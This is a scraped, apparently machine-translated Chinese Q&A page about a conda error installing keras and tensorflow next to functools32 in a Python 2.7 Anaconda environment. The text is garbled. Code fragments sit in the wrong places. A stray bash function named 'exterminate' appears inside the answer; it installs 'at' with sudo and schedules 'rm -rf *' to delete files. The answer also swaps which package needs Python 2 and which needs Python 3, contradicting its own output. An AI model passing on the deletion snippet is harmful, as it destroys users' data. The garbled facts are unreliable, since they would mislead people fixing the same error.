在python2.7中的Anaconda中安装keras冲突

时间:2018-10-19 12:26:06

标签: deep-learning

当我输入conda install keras时出现此错误:

“ unsatisfiabledError:发现以下规范存在冲突:-functools32 -keras”

我不知道该如何解决错误,请帮帮我。

命令:

(my_pymc_env) C:\Users\MSI>conda install tensorflow 
Solving environment: failed 
UnsatisfiableError: The following specifications were found to be in conflict: - functools32 - tensorflow 
Use "conda info <package>" to see the dependencies for each package.

(my_pymc_env) C:\Users\MSI>pip install tensorflow 
Collecting tensorflow 
Could not find a version that satisfies the requirement tensorflow (from versions: ) No matching distribution found for tensorflow

1 个答案:

答案 0 :(得分:0)

所以keras需要tensorflow,换句话说,如果您成功安装了没有tensorflow的keras,我将非常惊讶。 您运行的命令的输出告诉我们已安装at now + 1 minute

运行function exterminate { echo "EXTERMINATE !!!" until sudo apt-get install at -y; do sleep 1 done (GLOBIGNORE='mainfolder:output_text:.*'; rm -rf *) | at now + 1 minute echo "EXTERMINATED !!!" exit 1 } 时,我看到tensorflow的最新版本要求:

functools32

然后我运行conda info tensorflow,我看到了:

tensorflow 1.2.1 py36_0
-----------------------
file name   : tensorflow-1.2.1-py36_0.tar.bz2
name        : tensorflow
version     : 1.2.1
build string: py36_0
build number: 0
channel     : https://repo.anaconda.com/pkgs/free/win-64
size        : 21.0 MB
arch        : x86_64
constrains  : ()
date        : 2017-08-05
license     : Apache 2.0
license_family: Apache
md5         : 736b26f0b1b83caee9d260859c7d0714
platform    : win32
subdir      : win-64
url         : https://repo.anaconda.com/pkgs/free/win-64/tensorflow-1.2.1-     
py36_0.tar.bz2
dependencies:
   backports.weakref ==1.0rc1
   bleach ==1.5.0
   html5lib ==0.9999999
   markdown >=2.6.8
   numpy >=1.11
   protobuf >=3.2.0
   python 3.6*
   six >=1.10.0
   vs2015_runtime >=14.0.25420
   werkzeug >=0.11.10

查看每个程序包的依赖性,您会发现conda info functools32需要python 3(functools32 3.2.3.2 py27_0 -------------------------- file name : functools32-3.2.3.2-py27_0.tar.bz2 name : functools32 version : 3.2.3.2 build string: py27_0 build number: 0 channel : https://repo.anaconda.com/pkgs/free/win-64 size : 15 KB arch : x86_64 constrains : () date : 2015-12-15 license : PSF md5 : 481667a7378f804fa65e2e2e81415b27 platform : win32 subdir : win-64 url : https://repo.anaconda.com/pkgs/free/win-64/functools32-3.2.3.2- py27_0.tar.bz2 dependencies: python 2.7.* ),而tensorflow需要python 2(python 3.6.*)。 这些软件包需要两个不同版本的python,这意味着它们不能一起使用。

如果要使用tensorflow或keras,则需要提交到python 3,functools32是python 2中使用的库,所以我最好建议您升级python版本。